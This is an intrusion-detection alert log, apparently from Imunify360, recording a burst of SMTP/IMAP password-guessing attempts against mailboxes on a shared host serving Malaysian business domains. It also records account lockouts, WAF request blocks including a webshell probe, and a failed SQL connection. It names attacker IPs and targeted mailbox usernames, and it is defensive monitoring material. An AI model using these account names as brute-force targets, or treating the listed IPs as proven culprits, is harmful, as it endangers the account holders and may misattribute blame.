2026-02-01 08:27:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52150: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-02-01 08:27:58 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net [111.70.28.243]:32991: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:27:01 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49489: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:27:13 dovecot_login authenticator failed for H=(1Nbdciji8) [158.94.208.175]:53788: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 08:27:43 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:51904: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.150.168.226
country_id: 1814991
description:
2026-02-01 08:28:11 dovecot_login authenticator failed for H=([27.150.168.226]) [27.150.168.226]:46280: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 08:28:03 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:60828: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:28:07 dovecot_login authenticator failed for H=(UlTyvBR1) [158.94.208.175]:62239: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.80
country_id: 1269750
description:
2026-02-01 08:29:18 dovecot_login authenticator failed for H=([122.187.229.80]) [122.187.229.80]:51922: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:29:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37304: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 08:29:03 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:48513: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.52.119.193
country_id: 6252001
description:
2026-02-01 08:29:13 dovecot_plain authenticator failed for H=c-68-52-119-193.hsd1.tn.comcast.net (milysemic) [68.52.119.193]:54848: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:29:16 dovecot_login authenticator failed for H=(cW40Oui) [158.94.208.175]:54315: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 08:30:27 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:53188: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:30:34 dovecot_login authenticator failed for H=(8gaPcZXuV) [158.94.208.175]:59473: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 08:30:52 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:42192: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 08:30:53 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:60608: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 08:31:38 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:14744: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:31:07 dovecot_login authenticator failed for H=(QCJSawEV) [158.94.208.175]:63194: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 08:31:06 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:11703: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.42.225.40
country_id: 2510769
description:
2026-02-01 08:31:45 dovecot_login authenticator failed for H=40.red-81-42-225.staticip.rima-tde.net [81.42.225.40]:45612: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:32:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42030: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:32:04 dovecot_login authenticator failed for H=(NbnR4Fkj1) [158.94.208.175]:61004: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:32:21 dovecot_login authenticator failed for H=(dniF13) [158.94.208.175]:57712: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.232.126
country_id: 1269750
description:
2026-02-01 08:32:47 dovecot_login authenticator failed for H=(nsg-corporate-126.232.187.122.airtel.in) [122.187.232.126]:42132: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:33:51 dovecot_login authenticator failed for H=(8Gl1ZBI3G) [146.70.146.50]:62687: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:33:04 dovecot_login authenticator failed for H=(ew8Cgt) [158.94.208.175]:65358: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 08:33:37 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:59678: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.172.230.184
country_id: 1814991
description:
2026-02-01 08:33:13 dovecot_login authenticator failed for H=([60.172.230.184]) [60.172.230.184]:55258: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:33:24 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60515: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.191.170.4
country_id: 2017370
description:
2026-02-01 08:34:27 dovecot_login authenticator failed for H=(pool-109-191-170-4.is74.ru) [109.191.170.4]:53306: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:34:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59089: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.138.74
country_id: 1269750
description:
2026-02-01 08:34:11 dovecot_login authenticator failed for H=([128.185.241.213]) [125.19.138.74]:37490: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 08:34:15 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:35326: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.126.53.11
country_id: 1835841
description:
2026-02-01 08:34:49 dovecot_login authenticator failed for H=([168.126.53.11]) [168.126.53.11]:35089: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.217.180.34
country_id: 1835841
domain: mkmetal.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home2/mkmetalc/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.98.174
country_id: 1269750
description:
2026-02-01 08:34:10 dovecot_login authenticator failed for H=(nsg-corporate-217.166.185.122.airtel.in) [27.123.98.174]:46030: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:34:10 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43254: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:34:11 dovecot_login authenticator failed for H=(3hb1LUJ) [146.70.146.50]:63075: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-01 08:34:07 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:40490: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:34:11 dovecot_login authenticator failed for H=(wO3DsA) [158.94.208.175]:50615: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-02-01 08:34:32 dovecot_login authenticator failed for H=(syn-184-057-039-170.res.spectrum.com) [184.57.39.170]:58069: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 08:34:37 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:41118: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-02-01 08:34:43 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:37584: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:34:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60220: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:35:08 dovecot_login authenticator failed for H=(np6IA3Zipu) [146.70.146.50]:64705: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:35:12 dovecot_login authenticator failed for H=(YHmVvNj) [158.94.208.175]:63535: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.196.2
country_id: 1814991
description:
2026-02-01 08:35:05 dovecot_login authenticator failed for H=([112.82.241.226]) [61.160.196.2]:44792: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.130
country_id: 1269750
description:
2026-02-01 08:35:31 dovecot_login authenticator failed for H=([182.95.58.130]) [182.95.58.130]:36258: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:36:03 dovecot_login authenticator failed for H=(0la1SYW7y) [158.94.208.175]:49273: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:36:14 dovecot_login authenticator failed for H=(ANV3xa) [146.70.146.50]:50404: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:36:35 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 155.93.82.122
country_id: 2328926
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/products.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:36:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57886: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.214
country_id: 1269750
description:
2026-02-01 08:36:50 dovecot_login authenticator failed for H=([182.95.181.214]) [182.95.181.214]:46806: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:36:50 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@col.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.92.33.82
country_id: 390903
description:
2026-02-01 08:36:09 dovecot_login authenticator failed for H=(TAOAsKcH) [45.92.33.82]:55141: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-02-01 08:37:52 dovecot_login authenticator failed for H=(abts-north-static-144.85.160.122.airtelbroadband.in) [122.160.85.144]:33167: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.37.198.190
country_id: 6252001
description:
2026-02-01 08:37:05 dovecot_login authenticator failed for H=(host190.covisint.com) [64.37.198.190]:56273: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:37:11 dovecot_login authenticator failed for H=(wN2zMHhl) [146.70.146.50]:52178: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:37:16 dovecot_login authenticator failed for H=(ULFRdIIlL) [158.94.208.175]:64360: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:37:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@col.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:37:40 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:37:46 dovecot_login authenticator failed for H=(FiHHN2OyK) [146.70.146.50]:52995: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-01 08:38:26 H=(localhost.localdomain) [78.153.140.207]:36742 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-02-01 08:38:26 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:58255: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:38:06 dovecot_login authenticator failed for H=(iywJxjF) [158.94.208.175]:64433: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:38:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:53212: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:38:26 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-02-01 08:38:59 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:40052: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:38:05 dovecot_login authenticator failed for H=(DmodUFnN) [146.70.146.50]:53895: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:38:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@col.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 08:39:54 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:34154: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.1.48.218
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82011532676752 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-02-01 08:39:11 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:44424: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.1.248
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95111514512466 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:39:19 dovecot_login authenticator failed for H=(7pcIzL) [158.94.208.175]:54548: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:39:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-02-01 08:39:35 dovecot_plain authenticator failed for H=syn-074-218-095-154.biz.spectrum.com (thalventer) [74.218.95.154]:35682: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.147.65
country_id: 895949
description:
2026-02-01 08:39:39 dovecot_plain authenticator failed for H=(serpses) [41.60.147.65]:50887: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:39:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@col.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:39:05 dovecot_login authenticator failed for H=(u0Sz9F) [146.70.146.50]:55909: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 08:39:11 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:54753: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:39:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63605: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:40:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:40:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@col.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:40:02 dovecot_login authenticator failed for H=(OuQbvKFIy) [146.70.146.50]:57903: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:40:21 dovecot_login authenticator failed for H=(juaTIg) [158.94.208.175]:55715: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:40:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43420: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:40:02 dovecot_login authenticator failed for H=(yZQY0yVUg) [146.70.146.50]:57904: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:40:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64329: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 08:41:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(158.94.208.175)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:41:11 dovecot_login authenticator failed for H=(32P2SNZ1Y) [158.94.208.175]:61393: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.99.195
country_id: 1269750
description:
2026-02-01 08:41:38 dovecot_login authenticator failed for H=(abts-mum-static-195.99.170.122.airtelbroadband.in) [122.170.99.195]:43095: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:41:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:41:05 dovecot_login authenticator failed for H=(qYNZ9SnNm) [146.70.146.50]:60235: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.132.181.70
country_id: 1522867
description:
2026-02-01 08:41:51 dovecot_login authenticator failed for H=2.132.181.70.dynamic.telecom.kz [2.132.181.70]:36572: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:41:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61331: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.205.250.78
country_id: 290557
description:
2026-02-01 08:41:32 dovecot_plain authenticator failed for H=(paquery) [94.205.250.78]:54346: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:42:02 dovecot_login authenticator failed for H=(NzGCTnVGw) [146.70.146.50]:62411: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:42:14 dovecot_login authenticator failed for H=(RNVr5ps5K3) [146.70.146.50]:62846: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:42:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:42:29 dovecot_login authenticator failed for H=(GssjPHQNJ) [158.94.208.175]:60885: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:42:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55470: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:43:11 dovecot_login authenticator failed for H=(riul7jYd) [158.94.208.175]:49629: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-02-01 08:43:28 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:49814: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.237.119.249
country_id: 99237
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=975825 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:43:47 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales@col.com.my has been temporarily locked by Imunify PAM(146.70.146.50)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 08:43:07 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:40679: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:43:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.143
country_id: 2635167
description:
2026-02-01  8:43:28 211088 [Warning] Aborted connection 211088 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.143' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
